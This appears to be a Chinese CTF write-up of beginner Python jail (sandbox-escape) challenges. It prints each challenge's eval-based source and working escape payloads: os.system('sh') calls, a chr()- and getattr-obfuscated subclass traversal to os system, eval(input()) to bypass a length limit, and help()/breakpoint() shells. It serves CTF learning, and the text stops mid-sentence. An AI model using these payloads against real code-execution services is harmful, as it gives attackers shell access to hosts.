沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程
其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程,这里不理解没关系,多做两道题就知道了,老实说国内的沙箱逃逸的题不是很多,而且大多都是面向新手的?对我来说正好就是了,然后的话,如果像深入了解的话还是建议去做做国外的沙箱逃逸,国外出得比较多
以下的都是国内的题,在NSS上面就能搜到
面向新手的沙箱逃逸参考文章传送门:
沙箱逃逸上
沙箱逃逸中
沙箱逃逸下
calc_jail_beginner
知识点:基础getshell
有个附件,直接把源代码给你了
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
这里可以直接使用__import__('os').system('cat flag')
或者print(open('flag').read())
这两个是题目所告诉你的,但一开始的话还是先推荐一下交互式操作,毕竟上面这两个试过一次之后就没了
__import__('os').system('sh')
交互式的更能发现一些细节,而且不难受,相当于直接敲Linux命令一样
calc_jail_beginner_level1
知识点:SSTI注入、chr()
源码:
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
这里的主要关注部分应该是最开始的过滤,另外下面相关的函数也需要注意一下:
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
--------------------------------------------
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
这里的含义表示过滤了双引号
、单引号
、反斜杠
、i字母
、b字母
,只要输入的命令中包含有这些就直接退出
简单的来说就是你用不了一些比较常用的命令了,但我们可以自己构造出来,下面介绍一种构造方法叫做python模板注入
简称SSTI
吧
因为python中万物皆对象,像以下这些都是对象:
()元组 []列表 {}字典 ''/""字符串
当然变量常量什么的也是对象(直接查看数字的class是找打行为),可以通过__class__
这个函数来进行一个看的查:
然后的话可以通过__base__
、__bases__
、__mro__
这些函数查看函数对象所属类的父类,下面以()
元组为例
元组的父类是object类
应该说所有类的父类都是object类,bases是以元组的形式返回父类,而mro以元组的形式返回所有与该类相关的类,自己试一下就知道是什么样的了
然后的话,查到object类后,然后就可以查看object类的所有子类了,为什么又要查子类呢,由子类上升到父类,然后父类下的所有子类你就可以都知道了,然后子类中就有些我们可以利用的类来进行rce
使用到了__subclasses__()
这个函数
print(().__class__.__base__.__subclasses__())
输出:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'numpy._globals._NoValueType'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'numpy.ufunc'>, <class 'numpy.dtype'>, <class 'numpy.ndarray'>, <class 'numpy.generic'>, <class 'numpy.flatiter'>, <class 'numpy.mapiter'>, <class 'numpy.broadcast'>, <class 'numpy.neigh_internal_iter'>, <class 'numpy.nditer'>, <class 'numpy.core.multiarray.flagsobj'>, <class 'numpy.busdaycalendar'>, <class 'numpy._ArrayMethod'>, <class 'numpy._BoundArrayMethod'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'numpy.compat.py3k.contextlib_nullcontext'>, <class 'numbers.Number'>, <class 'numpy.core._ufunc_config._unspecified'>, <class 'numpy.core.arrayprint.FloatingFormat'>, <class 'numpy.core.arrayprint.IntegerFormat'>, <class 'numpy.core.arrayprint.BoolFormat'>, <class 'numpy.core.arrayprint.ComplexFloatingFormat'>, <class 'numpy.core.arrayprint._TimelikeFormat'>, <class 'numpy.core.arrayprint.SubArrayFormat'>, <class 'numpy.core.arrayprint.StructuredVoidFormat'>, <class 'numpy.format_parser'>, <class 'numpy.MachAr'>, <class 'numpy.core.getlimits.MachArLike'>, <class 'numpy.finfo'>, <class 'numpy.iinfo'>, <class 'platform._Processor'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'numpy.core._internal.dummy_ctype'>, <class 'numpy.core._internal._missing_ctypes.c_void_p'>, <class 'numpy.core._internal._missing_ctypes'>, <class 'numpy.core._internal._ctypes'>, <class 'numpy.core._internal._Stream'>, <class 'numpy._pytesttester.PytestTester'>, <class 'numpy.lib.mixins.NDArrayOperatorsMixin'>, <class 'numpy.lib.stride_tricks.DummyArray'>, <class 'numpy.vectorize'>, <class 'numpy.lib.index_tricks.nd_grid'>, <class 'numpy.lib.index_tricks.AxisConcatenator'>, <class 'numpy.ndenumerate'>, <class 'numpy.ndindex'>, <class 'numpy.lib.index_tricks.IndexExpression'>, <class 'numpy.poly1d'>, <class 'textwrap.TextWrapper'>, <class 'numpy.lib.utils._Deprecate'>, <class 'numpy.lib._datasource._FileOpeners'>, <class 'numpy.DataSource'>, <class 'numpy.lib._iotools.LineSplitter'>, <class 'numpy.lib._iotools.NameValidator'>, <class 'numpy.lib._iotools.StringConverter'>, <class 'numpy.lib.npyio.BagObj'>, <class 'numpy.lib.arrayterator.Arrayterator'>, <class 'numpy.lib._version.NumpyVersion'>, <class 'numpy.random.mtrand.RandomState'>, <class 'cython_function_or_method'>, <class 'numpy.random.bit_generator.BitGenerator'>, <class 'numpy.random.bit_generator.SeedSequence'>, <class 'numpy.random.bit_generator.SeedlessSequence'>, <class 'numpy.random.bit_generator.SeedlessSeedSequence'>, <class 'generator'>, <class 'numpy.random._common.__pyx_scope_struct____pyx_f_5numpy_6random_7_common_validate_output_shape'>, <class 'numpy.random._common.__pyx_scope_struct_1_genexpr'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'hmac.HMAC'>, <class 'numpy.random._generator.Generator'>, <class 'numpy.random._generator.array'>, <class 'numpy.random._generator.Enum'>, <class 'numpy.random._generator.memoryview'>, <class 'numpy.ma.core._DomainCheckInterval'>, <class 'numpy.ma.core._DomainTan'>, <class 'numpy.ma.core._DomainSafeDivide'>, <class 'numpy.ma.core._DomainGreater'>, <class 'numpy.ma.core._DomainGreaterEqual'>, <class 'numpy.ma.core._MaskedUFunc'>, <class 'numpy.ma.core._MaskedPrintOption'>, <class 'numpy.ma.core.MaskedIterator'>, <class 'numpy.ma.core._frommethod'>, <class 'numpy.ma.core._convert2ma'>, <class 'numpy.ma.extras._fromnxfunction'>, <class 'packaging._structures.InfinityType'>, <class 'packaging._structures.NegativeInfinityType'>, <class 'packaging.version._BaseVersion'>, <class 'matplotlib._api.deprecation.deprecate_privatize_attribute'>, <class 'matplotlib._api.deprecation._deprecated_parameter_class'>, <class 'matplotlib._api.classproperty'>, <class 'gzip._PaddedFile'>, <class 'shlex.shlex'>, <class 'matplotlib.cbook._StrongRef'>, <class 'matplotlib.cbook.CallbackRegistry'>, <class 'matplotlib.cbook.Stack'>, <class 'matplotlib.cbook.Grouper'>, <class 'matplotlib.docstring.Substitution'>, <class 'pyexpat.xmlparser'>, <class 'xml.etree.ElementPath._SelectorContext'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.QName'>, <class 'xml.etree.ElementTree.ElementTree'>, <class 'xml.etree.ElementTree.XMLPullParser'>, <class 'xml.etree.ElementTree.C14NWriterTarget'>, <class '_elementtree._element_iterator'>, <class 'xml.etree.ElementTree.TreeBuilder'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.XMLParser'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.QName'>, <class 'xml.etree.ElementTree.ElementTree'>, <class 'xml.etree.ElementTree.XMLPullParser'>, <class 'xml.etree.ElementTree.TreeBuilder'>, <class 'xml.etree.ElementTree.XMLParser'>, <class 'xml.etree.ElementTree.C14NWriterTarget'>, <class 'PIL.ImageMode.ModeDescriptor'>, <class 'PIL._util.deferred_error'>, <class 'ImagingCore'>, <class 'ImagingFont'>, <class 'ImagingDraw'>, <class 'PixelAccess'>, <class 'cffi.model.BaseTypeByIdentity'>, <class 'cffi.api.FFI'>, <class 'PIL.Image._E'>, <class 'PIL.Image.Image._ArrayData'>, <class 'PIL.Image.Image'>, <class 'PIL.Image.ImagePointHandler'>, <class 'PIL.Image.ImageTransformHandler'>, <class 'PIL.ImageFile.Parser'>, <class 'PIL.ImageFile.PyCodecState'>, <class 'PIL.ImageFile.PyCodec'>, <class 'array.array'>, <class 'PIL.GimpGradientFile.GradientFile'>, <class 'PIL.GimpPaletteFile.GimpPaletteFile'>, <class 'PIL.PaletteFile.PaletteFile'>, <class 'PIL.ImagePalette.ImagePalette'>, <class 'PIL.ImageSequence.Iterator'>, <class 'PIL.PngImagePlugin.ChunkStream'>, <class 'PIL.PngImagePlugin.PngInfo'>, <class 'PIL.PngImagePlugin._idat'>, <class 'PIL.PngImagePlugin._fdat'>, <class 'matplotlib.bezier.BezierSegment'>, <class 'matplotlib.path.Path'>, <class 'matplotlib.transforms.TransformNode'>, <class 'matplotlib.transforms._BlendedMixin'>, <class 'matplotlib.ticker._DummyAxis'>, <class 'matplotlib.ticker.TickHelper'>, <class 'matplotlib.ticker._Edge_integer'>, <class 'matplotlib.scale.ScaleBase'>, <class 'matplotlib.colors.ColorConverter'>, <class 'matplotlib.colors.Colormap'>, <class 'matplotlib.colors.Normalize'>, <class 'matplotlib.colors.LightSource'>, <class 'pyparsing.util.__config_flags'>, <class 'pyparsing.util._UnboundedCache'>, <class 'pyparsing.util._FifoCache'>, <class 'pyparsing.util.LRUMemo'>, <class 'pyparsing.unicode._lazyclassproperty'>, <class 'pyparsing.unicode.unicode_set'>, <class 'pyparsing.actions.OnlyOnce'>, <class 'pyparsing.results._ParseResultsWithOffset'>, <class 'pyparsing.results.ParseResults'>, <class 'pyparsing.core._NullToken'>, <class 'pyparsing.testing.pyparsing_test.reset_pyparsing_context'>, <class 'pyparsing.testing.pyparsing_test.TestParseResultsAsserts'>, <class 'pyparsing.testing.pyparsing_test'>, <class 'pyparsing.common.pyparsing_common'>, <class 'matplotlib.fontconfig_pattern.FontconfigPatternParser'>, <class 'cycler.Cycler'>, <class 'matplotlib.rcsetup.ValidateInStrings'>, <class 'matplotlib.__getattr__'>, <class 'matplotlib.ft2font.FT2Image'>, <class 'matplotlib.ft2font.Glyph'>, <class 'matplotlib.ft2font.FT2Font'>, <class 'kiwisolver.Variable'>, <class 'kiwisolver.Term'>, <class 'kiwisolver.Expression'>, <class 'kiwisolver.Constraint'>, <class 'kiwisolver.Strength'>, <class 'kiwisolver.Solver'>, <class 'matplotlib.cm.__getattr__'>, <class 'matplotlib.cm.ScalarMappable'>]
可以看到有objec有一堆的子类,这个很正常,毕竟是所有子类的父类嘛,然后再加上具体的下标我们就能检索想要的具体类了
回到题目:
这里要用上述方法先来查看一下有哪些可以利用的类,但是很容易发现,其中还是有些东西用不了,像什么base啊subclasses什么的,但毕竟是.
后面的函数,那么就可以通过使用getattr()
这个函数来代替.
然后后面的字符串有可以用chr()
函数和+
字符串的拼接来实现
# 下面是渐变过程
().__class__.__base__.__subclasses__()
getattr(().__class__, '__base__').__subclasses__()
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()
getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
栞栞会输出什么
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
还是有不少子类的,在其中找可以利用的子类,题目中可以用到<class 'os._wrap_close'>
这个类,通过下标找到这个类,然后就可以构造payload了:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
当然要整体替换一下:
getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
当然这个不止这一种解法,也能利用open函数,毕竟没有禁,但前提是你在不知道系统文件的情况下知道文件的名称和在哪
print(open(chr(102)+chr(108)+chr(97)+chr(103)).read())
calc_jail_beginner_level2
知识点:参数逃逸
源码:
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!
WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
关键代码:
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
这里直接限制了payload的长度不大于13,像上面提到的是用都用不了了
这里用到了一种类似于php的参数逃逸,姑且还是管它叫做参数逃逸吧
php中:
/?cmd=system($_POST[1]);&1=ls
对于这串命令system中POST的参数就会逃逸到参数1中去,对于这个1的长度是没有一点长度限制的
像这里我们也可以采用类似的手法,想办法搞个命令里面能再输入关键命令,显然input()
这个函数就正好符合要求,payload:
eval(input())
之后就随意输入之前所有的payload了,然后就能获取shell了
calc_jail_beginner_level3
知识点:help()
有源码还是放一下吧,之后这种题目不一定放源码的说,以后就只展示关键点了,这个系列的好像都差不太多,差得多了我再说吧
下面是主要代码:
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
好嘛,就是上个题的拓展,这回是长度不大于7
这回的话就是通过help()
这个函数来进行RCE了,参考了这篇文章:传送门(建议还是别翻译好点)
再python里面help()
函数使用后也是一个交互界面,要想着只要是能交互的东西都有成为RCE的可能
这样就直接变成一个交互界面了,可以通过这里的提示来运行一点命令,上面那篇文章也说了,先用modules
这个命令来看看所有模块,在出现的模块里面随便进入一个,这里以re
为例
进入后又是一个交互界面,这里根据上面的文档是已经获得shell了的,直接使用命令
calc_jail_beginner_level2.5
知识点:breakpoint()
关键源码:
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
----------------------------------------------
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
这里是禁用了exec
、input
、eval
,并且payload长度还限制在13
做过上面那个3之后就能发现这里还能用help()
函数,当然这里还没有限制得那么宽,还是有点小富余的,这里再介绍一个,breakpoint()
函数,进去后也是一个交互界面:
这个Pdb
是什么贵物呢:
